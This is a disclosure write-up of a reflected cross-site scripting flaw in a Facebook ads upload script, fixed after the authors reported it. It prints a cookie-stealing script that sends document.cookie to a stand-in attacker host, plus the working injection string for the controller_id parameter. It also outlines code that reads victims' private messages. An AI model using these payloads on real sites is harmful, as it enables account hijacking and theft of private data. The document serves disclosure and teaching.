Exploiting a cross-site scripting vulnerability on Facebook

Impact of Cross-Site Scripting vulnerabilities on social networking sites
Take a walk through most workplaces and you will surely notice someone browsing a social networking site. No wonder that website popularity services like Alexa rate Facebook the second most visited website after Google and before Youtube!  We trust these websites to reflect the public image that we want to portray and sometimes even trust with secrets. A single cross-site scripting vulnerability allows attackers to do anything (that the victim may do) on behalf of the victim. In this article we will look at how Facebook accounts could be compromised through such a simple, yet effective vulnerability.

HTTPOnly does not protect your site (or Facebook) from XSS exploitation

Traditionally, most cross-site scripting exploitation involves sending the cookie to the attacker through javascript. The attacker would typically write dynamic HTML such as the one below, which dynamically sends the cookie to a web server controlled by the attacker.

[code]
<script>
document.write("<img src='http://attackersite/a.gif?x=" + escape(document.cookie + "'>")
</script>
[/code]

Due to mass exploitation of cross-site scripting, a number of popular websites now make use of a cookie flag called HTTPOnly. This feature was introduced in web browsers some time ago to prevent the cookie from being accessible through javascript’s document.cookie. Facebook does use this flag for the cookies that handle authentication to mitigate exploitation of cross-site scripting. However, such protection is limited.

When exploiting a cross-site scripting vulnerability, an attacker does not have to rely on stealing the cookie. Since the attacker can inject javascript code on the victim website, the attacker can also perform various malicious actions. In the case of Facebook this includes:

  • Reading the victim’s private messages
  • Making the victim’s private pictures available to attackers
  • Sending of messages to the victim’s contacts on behalf of the victim
  • Adding new Facebook applications
  • Stealing contacts

Detailed explanation of the Cross-Site Scripting vulnerability on Facebook

Facebook makes use of PHP scripts.  The following script became vulnerable to cross-site scripting some time in July 2010: http://www.facebook.com/ads/create/photos/creative_uploader.php

This script takes various parameters, one of which (controller_id) was writing user input directly inside a script tag. Take the following URL as example:
http://www.facebook.com/ads/create/photos/creative_uploader.php?controller_id=c4c288b438ed080&path=whatever&src=whatever&vol=90&w=60&h=80&post_upload=1

The part of the HTML body that interests us is the following;

<script>
...
onloadRegister(function (){window.parent.__UIControllerRegistry["c4c288b438ed080"].saveUploadedImage("whatever", "whatever", 90, 60, 80);});
...
</script>

You will notice that controller_id value (c4c288b438ed080) is written directly in the Javascript section of the HTML page.  By inserting a double quote, an attacker is able to escape the Array’s key string and insert javascript directly within a page on facebook.com.  The obvious way to execute the typical alert XSS demonstration is to change the parameter controller_id to something such as the following:

controller_id=test”]}; alert(“facebook test”); //

This would create the following content:

<script>
...
onloadRegister(function (){window.parent.__UIControllerRegistry["test"]}; alert("facebook test"); //"].saveUploadedImage("whatever", "whatever", 90, 60, 80);});
...
</script>

Such content would run the alert box such as the one in the screenshot, which is simply a demonstration of the vulnerability. However alert boxes do not impress.

To exploit such a vulnerability, the attacker’s javascript would need something better. One of the things that an attacker can do at this stage is to read JSON content just like Facebook’s client-side scripts.

How to exploit the XSS vulnerability to hijack Facebook accounts

Therefore to achieve this, an attacker may call an external .js file on his or her web server that adds more code.  There are a number of frameworks which can help security professionals (and real attackers) exploit such cross-site scripting vulnerability, like BeEF, and lately “Shell of the Future”. However, in this case we decided to write custom code which targets Facebook features specifically, to show what can be done on Facebook.

The javascript code instructs the victim’s web browser to read a list of private messages sent to the victim found on http://www.facebook.com/ajax/home/inbox.php. The code parses the message ID of each message. Then for each message, the attacker’s javascript code would read the message by passing the correct message id to http://www.facebook.com/ajax/gigaboxx/endpoint/ReadThread.php.

Finally, the attacker could receive the content of the message directly on his web server similar to the traditional exploitation of document.cookie. In the below video demonstration, we decided to show how the attacker could even send the victim’s sensitive data through a Facebook chat. This is done by forcing the victim’s web browser to send these messages through the Facebook chat feature.

Can this vulnerability be turned into a worm?

Definitely! One could conclude that such a cross-site scripting security hole could easily be turned into a social network worm that requires little interaction from the victim’s side. Such worms on one of the world’s top 10 websites could turn to be rather profitable to cyber-criminals. Luckily for Facebook, fixing the cross-site scripting hole would typically stop such a worm. Once found, most reflected cross-site scripting vulnerabilities are easy to fix. In the case of this Facebook vulnerability, the developers added input validation. When the validation fails, the PHP script shows an error blocking exploitation.

We notified Facebook about this instance of cross-site scripting vulnerability and would like to thank the Facebook Security Team for quickly fixing this security hole.